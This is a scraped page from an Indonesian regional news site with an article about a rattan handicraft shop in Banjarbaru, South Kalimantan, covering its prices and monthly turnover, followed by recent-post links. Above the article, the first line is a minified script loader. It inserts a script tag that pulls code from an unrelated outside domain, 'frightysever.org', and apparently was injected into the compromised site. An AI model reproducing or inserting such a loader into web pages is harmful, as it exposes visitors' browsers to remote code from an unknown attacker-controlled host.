(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Daya Tarik Kerajinan Rotan, Satu Bulan Sri Bisa Raih Omzet hingga Rp30 Juta!


KANALKALIMANTAN.COM, BANJARBARU – Selain kayu, salah satu hasil tumbuhan alam yang dimanfaatkan dalam bidang furniture dan kerajinan tangan adalah rotan.

Rotan merupakan tumbuhan Hasil Hutan Bukan Kayu (HHBK) yang tumbuh subur di rimba Indonesia. Bahkan flora keluarga Palmae ini menjadi komoditas utama hutan-hutan di Kalimantan, Sulawesi, Sumatera dan Papua.

Sri Rusidah (47), merupakan salah satu pemilik toko kerajinan yang memanfaatkan bahan jenis rotan ini. Ditemui di toko miliknya di Jl A. Yani Km 24,5 Landasan Ulin, Banjarbaru, Kalsel, ia menjelaskan terkait usaha kerajinan tangan dari rotan yang digelutinya ini.

 

 

Baca juga: UPT BPP Banjarbaru Dituntut Jadi Tempat Belajar Pertanian Kekinian

“Toko saya ini baru buka sekitar 3 bulan, biasanya saya berjualan online saja. Tetapi karena minat masyarakat banyak dengan kerajinan rotan ini makanya saya inisiatif untuk membuka toko, dan letaknya sangat strategis di pinggir jalan jadi bisa dilihat oleh pengguna jalan,” kata Sri.

Kerajinan ini diproduksi oleh pengrajin dari Hulu Sungai tepatnya Kota Barabai dan tidak diproduksi sendiri olehnya. Dia hanya membeli dari pengrajin dalam jumlah banyak dan setelahnya dijual kembali dengan harga bervariasi tergantung ukuran dan modelnya.

Dalam sehari terkadang ia bisa menjual per lusin ada juga biasanya yang membeli satu set untuk dekorasi rumah tergantung kebutuhan pembeli.

“Biasanya kalau kursi ada yang membeli beberapa set, biasanya juga ada yang perbuah bisa lima buah biasanya kalau standing pot ada yang beli sebanyak empat buah,” tambahnya.

Untuk kursi sendiri dibandrol dari harga Rp600 ribu satu set. Sedangkan standing pot biasanya dari harga Rp130 ribu-Rp170 ribu, tergantung tinggi sama diameter. Yang paling murah seperti keranjang biasanya dibandrol dari harga Rp10.000 sampai Rp25.000.

Sri mengatakan, dari dagangan tersebut biasanya omset perbulan bisa mencapai sekitar Rp30 juta.

“Biasanya ada juga yang memang memesan lewat online karena biasanya dipromosikan lewat sosmed jadi ada saja orang yang tertarik untuk membeli,” ucapnya.

Baca juga: Wabup Banjar Serahkan Bantuan Korban Kebakaran dan Tanah Longsor

Meski saat pandemi, Sri mengaku usahanya tak terlalu terimbas. Terbukti dengan terus mengalirnya pembeli yang datang ke tokonya.

“Setiap harinya ada saja pembeli yang datang. Ada saja yang mau beli ada juga yang dari Tanah Bumbu, Purukcahu juga ada yang membeli produk kerajinan tangan ini,” katanya. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Al Ghifari

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

1 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

2 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.